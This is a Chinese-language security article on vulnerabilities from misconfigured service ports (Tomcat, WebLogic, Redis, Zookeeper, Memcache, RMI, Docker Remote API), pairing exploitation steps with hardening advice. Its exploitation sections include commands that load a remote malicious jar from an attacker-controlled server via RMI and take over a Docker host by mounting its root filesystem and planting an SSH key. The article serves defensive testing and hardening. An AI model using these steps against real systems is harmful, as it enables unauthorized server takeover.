前言
在日常安全測試工作中，至少有30%以上的定級為嚴重和高危的漏洞，都是基於服務端口配置不當所造成的。
因此，本篇文章主要針對服務端口安全問題展開簡單總結，希望能盡量減少在日常開發工作中的嚴重高危漏洞。（由於篇幅有限，本文只探討平時在安全測試中所發現的端口服務漏洞）
我們都知道，Web服務一般都是通過端口號來識別的，而端口與服務的關系，就好像端口是閘門鑰匙，服務是泄洪水庫，當需要泄洪的時候需要用鑰匙開啟閘門。一旦鑰匙保存不當（端口配置不當），那么這把鑰匙就有可能被不懷好意的人所利用，所造成的后果往往是很嚴重的。比如敏感數據被竊取，服務器命令任意執行，服務器權限被非法獲取等。下文來講解具體的某些服務配置不當所造成的漏洞危害，以及如何去正確配置。
服務
Apache/Tomcat/Nginx等中間件（默認端口：80/8080）
1、弱口令（admin/admin，root/root等）
詳解：有些應用開放了中間件的控制台頁面，如果存在弱口令，可通過爆破登錄控制台，對部署的應用進行任意操作，甚至可以上傳惡意腳本getshell。
加固：以tomcat為例，刪除tomcat目錄下的ROOT文件；或者打開conf/tomcat-uers.xml，修改類似於<user username="admin" password="admin" roles="admin,manager"/>的用戶名密碼。
2、版本信息泄露
詳解：當訪問應用不存在的頁面時，會返回中間件默認設置的404頁面，該頁面會泄露相關版本信息。某些版本的中間件含有特定漏洞 ，如果攻擊者知道了版本信息，可能會針對該版本來進行攻擊，因此需要我們自定義錯誤頁面。
加固：在web.xml文件的<error-page>設置中，重定向到自定義的錯誤頁面。
WebLogic（默認端口7001）
1、java反序列化
詳解：Java反序列化即，由字節流還原成對象。ObjectInputStream類的readObject()方法用於反序列化。因此要利用Java反序列化漏洞，需要在進行反序列化的地方傳入攻擊者的序列化代碼。Oracle WebLogic Server 10.3.6.0, 12.1.3.0, 12.2.1.0和12.2.1.1版本存在反序列化遠程命令執行漏洞，惡意人員可以通過構造惡意請求報文遠程執行命令。
利用：同樣的java反序列化漏洞，也存在於Jboss、Websphere、Jenkins容器中。可利用java反序列化測試工具進行測試。
加固：升級weblogic官方補丁包；或者刪除特定文件，刪除commons-collections.jar包內org/apache/commons/collections/functors/InvokerTransformer.class文件，要用壓縮工具軟件打開后直接刪除。
2、Weblogic服務端請求偽造漏洞(SSRF)
詳解：WebLogic 服務器的 UDDI 功能通常很隱蔽，但外部可以訪問，Oracle的 WebLogic web服務器通常（a）外部可訪問；（b）被允許調用對內部主機的連接。 SearchPublicRegistries.jsp 頁面可被未認證的攻擊者濫用，造成 WebLogic 服務器連接任意主機的任意端口。其返回信息非常詳細，可被攻擊者用來推斷在指定端口是否有相關服務在監聽。
利用：通過訪問http://**.**.**.**/uddiexplorer/SearchPublicRegistries.jsp，點擊search，攔截請求包，將operator參數改為想要探測的主機，通過響應信息科判斷主機是否被監聽，可探測內網。
加固：如果業務不需要UDDI功能，就關閉這個功能。可以刪除uddiexporer文件夾，可以可在/weblogicPath/server/lib/uddiexplorer.war解壓后，注釋掉上面的jsp再打包。
Redis數據庫（默認端口6379）
1、Redis未授權訪問
詳解：redis是一個開源的使用c語言寫的，支持網絡、可基於內存亦可持久化的日志型、key-value數據庫。Redis因配置不當可以未授權訪問。攻擊者無需認證訪問到內部數據，可導致敏感信息泄露，也可以惡意執行flushall來清空所有數據。如果Redis以root身份運行，可以給root賬戶寫入SSH公鑰文件，直接通過SSH登錄受害服務器。
利用：用redis-cli客戶端嘗試未授權訪問，redis-cli -h ip。可獲取redis數據庫中敏感信息，還可以寫入SSH公鑰文件來登錄受害服務器，從而獲取服務器權限。
加固：為Redis 添加密碼驗證（重啟redis才能生效）：修改 redis.conf 文件，添加requirepass mypassword（注意redis不要用-a參數，明文輸入密碼，連接后使用auth證）；或者禁止一些高危命令（重啟redis才能生效）修改 redis.conf 文件，禁用遠程修改 DB 文件地址：
rename-command FLUSHALL ""
rename-command CONFIG ""
rename-command EVAL ""
Zookeeper服務（默認端口2181）
1、未授權訪問
詳解：分布式的，開放源碼的分布式應用程序協調服務。Zookeeper安裝部署之后默認情況下不需要任何身份驗證，造成攻擊者可以遠程利用Zookeeper，通過服務器收集敏感信息或者在Zookeeper集群內進行破壞（比如：kill命令）。攻擊者能夠執行所有只允許由管理員運行的命令。
利用：執行以下命令即可遠程獲取該服務器的環境：echo envi | nc ip port
直接連接：./zkCli.sh -server ip:port
加固： 1、禁止把Zookeeper直接暴露在公網2、添加訪問控制，根據情況選擇對應方式（認證用戶，用戶名密碼）3、綁定指定IP訪問
Memcache服務（默認端口11211）
1、未授權訪問
詳解：Memcache是一套常用的key-value緩存系統，由於它本身沒有權限控制模塊，所以對公網開放的Memcache服務很容易被攻擊者掃描發現，攻擊者通過命令交互可直接讀取Memcached中的敏感信息。
利用：1、登錄機器執行netstat -an |more命令查看端口監聽情況。回顯0.0.0.0:11211表示在所有網卡進行監聽，存在memcached未授權訪問漏洞。2、telnet <target> 11211，或nc -vv <target> 11211，提示連接成功表示漏洞存在。
加固：1、設置memchached只允許本地訪問2、禁止外網訪問Memcached 11211端口3、編譯時加上–enable-sasl，啟用SASL認證
RMI服務（默認端口1090、1099）
1、遠程命令執行
詳解：Java RMI服務是遠程方法調用。它是一種機制，能夠讓在某個java虛擬機上的對象調用另一個Java虛擬機的對象的方法。1099端口原本對應的服務為 Apache ActiveMQ 對 JMX 的支持，但是由於配置不當，導致攻擊者可以通過此端口利用 javax.management.loading.MLet的getMBeansFromURL 方法來加載一個遠端惡意的 MBean ，即可以遠程執行任意代碼。當然，這個 JMX 的利用方法不僅僅在 ActiveMQ 上能夠利用，在很多服務支持 JMX 的情況下其實也能夠適用。
利用：利用攻擊測試文件RMIexploit.jar（可從網上下載），其中的ErrorBaseExec.jar是一個自定義的可以執行回顯的jar文件，將它放置到VPS上使得其可以通過http訪問。命令行下執行java -jar RMIexploit.jar 目標ip 端口 http://自己ip:端口/ErroBaseExec.jar "命令"
Docker Remote API（默認端口2375）
1、Docker未授權訪問
詳解：Docker Remote API是一個取代遠程命令行界面（rcli）的REST API。通過 docker client 或者 http 直接請求就可以訪問這個 API，通過這個接口，我們可以新建 container，刪除已有 container，甚至是獲取宿主機的 shell。
利用：通過訪問http://ip/images/json可以獲取到所有的 images 列表
http://host:2375/containers/json會返回服務器當前運行的 container列表，和在docker CLI上執行 docker ps 的效果一樣，過Post包我們還可以新建、開啟和關閉容器，其他操作比如拉取image等操作也都可以通過API調用完成。
Docker remote Api未授權訪問的攻擊原理與之前的Redis未授權訪問漏洞大同小異，都是通過向運行該應用的服務器寫文件，從而拿到服務器的權限，常見的利用方法如下:
（1）遠程對被攻擊的主機的docker容器進行操作：docker -H tcp://remoteip:2375 images
（2）啟動一個容器並將宿主機根目錄掛在到容器的mnt目錄：docker -H tcp://remoteip:2375 run -it -v /:/mnt imageId /bin/bash
（3）在本地主機生成公鑰文件：ssh-keygen
（4）在容器上的root目錄中，mkdir .ssh 創建ssh目錄；touch authorized_keys 創建文件
（5）將主機中的rsa.pub里的公鑰寫入容器中的authorized_keys文件里
（6）ssh root@ip 免密碼登錄宿主主機
加固：1、在不必需的情況下，不要啟用docker的remote api服務，如果必須使用的話，可以采用如下的加固方式：設置ACL，僅允許信任的來源IP連接；設置TLS認證，官方的文檔為Protect the Docker daemon socket
1、 客戶端連接時需要設置以下環境變量export DOCKER_TLS_VERIFY=1
export DOCKER_CERT_PATH=~/.docker
export DOCKER_HOST=tcp://10.10.10.10:2375
export DOCKER_API_VERSION=1.12
3、在 docker api 服務器前面加一個代理，例如 nginx，設置 401 認證
結束語
以上關於服務端口的漏洞，都是基於平時對公司產品進行安全測試時所發現的。在WEB應用中，能獲取服務器權限或getshell的漏洞，很多都是由於開發人員疏忽了對服務端口的安全配置造成的。其實，只要做好對服務端口的正確配置和加固，就能避免相當一部分高中危甚至是嚴重的漏洞。